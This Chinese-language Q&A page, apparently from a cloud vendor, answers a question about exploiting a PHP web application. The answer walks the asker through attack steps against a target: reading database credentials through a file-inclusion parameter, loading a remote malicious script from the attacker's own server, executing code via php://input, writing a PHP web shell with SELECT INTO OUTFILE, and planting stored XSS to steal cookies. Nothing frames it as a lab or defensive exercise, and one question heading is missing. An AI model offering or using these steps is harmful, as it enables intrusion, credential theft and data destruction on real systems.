You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

PHP Web应用漏洞利用与代码执行技术咨询

Web应用漏洞分析与攻击可行性解答

嘿,结合你拿到的这段PHP代码和已有的文件包含利用经历,我来逐个解答你的问题:

问题1:基于上述获取的信息,我可以实施哪些类型的攻击?

  • 文件包含攻击拓展:你已经通过page参数利用php://filter读取了目标文件,说明这个参数存在文件包含漏洞。你可以继续用这个漏洞读取更多敏感文件,比如includes/dbconfig.inc(获取数据库账号密码)、服务器配置文件甚至其他核心业务代码。
  • 潜在SQL注入攻击:代码中使用了已废弃的mysql_*系列函数,并且直接拼接变量到SQL语句中(比如DROP DATABASE " . $dbname)。如果$dbname等变量是可控的(比如配置文件读取了用户输入,或者其他功能点传入了恶意值),就能触发SQL注入,进而删除数据库、篡改数据,甚至在数据库权限足够的情况下执行操作系统命令。
  • 存储型XSS攻击(潜在):如果forum_table中的comment、poster_name字段在前端页面展示时没有做HTML转义处理,即便当前这段代码的INSERT是硬编码值,只要你能通过其他方式(比如数据库直接修改、后续用户提交功能)向这些字段插入恶意脚本,就能触发存储型XSS,窃取用户Cookie或者劫持会话。

问题2:是否可以利用暴露的变量(如$dbuser)发起攻击?

直接利用$dbuser这个变量本身在这段代码里做攻击很难——它只是被用来建立数据库连接,没有直接拼接进用户可控的输出或执行上下文。但你可以通过文件包含漏洞读取includes/dbconfig.inc文件,获取$dbuser、$dbpass、$dbhost这些数据库凭证。拿到凭证后,你可以直接登录数据库,做以下操作:

  • 导出、篡改数据库中的所有数据;
  • 如果数据库用户拥有FILE权限,还可以向Web目录写入恶意PHP脚本;
  • 部分场景下,还能通过数据库执行系统命令(比如MySQL的sys_exec函数,前提是开启了相关扩展)。

这段代码里的INSERT语句是完全硬编码的固定值,没有任何用户输入参与,所以直接在这个INSERT里注入脚本是不可能的。但有两种间接方式可以实现类似效果:

  • 如果你能通过文件包含漏洞或文件上传漏洞修改这段代码,把INSERT语句中的内容替换成恶意脚本,那么当这个文件被执行时,脚本就会被插入到数据库中;
  • 如果你拿到了数据库凭证,直接登录数据库修改forum_table的comment字段,插入恶意脚本。只要前端展示这些内容时没有做HTML转义,访问页面就会触发XSS。

问题4:如何让该Web应用执行我编辑的自定义脚本?

这里有几种可行的思路,按优先级排序:

  • 利用文件包含漏洞直接执行:
    • 如果服务器配置了allow_url_include=On,可以直接构造page=http://你的服务器/恶意脚本.php,让目标服务器加载并执行你的远程脚本;
    • 如果只能加载本地文件,先通过文件上传漏洞(如果应用存在)把恶意脚本传到Web目录下,再用文件包含参数加载它;
    • 还可以尝试php://input协议,构造page=php://input然后POST你的PHP代码,前提是allow_url_include=On。
  • 通过数据库写入恶意脚本:
    如果你拿到了数据库凭证,且数据库用户有FILE权限,可以执行类似SELECT '<?php 你的自定义代码 ?>' INTO OUTFILE '/var/www/html/恶意脚本.php'的语句,把脚本写入Web可访问目录,然后直接访问这个文件执行。
  • 修改现有PHP文件:
    如果有文件写入权限(比如通过文件上传、数据库写入等方式),修改目标应用中的现有PHP文件(比如你拿到的setupreset.php),加入你的自定义代码,当这个文件被访问时就会执行。

内容的提问来源于stack exchange,提问作者Fábio Pires

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.04.28 21:42:50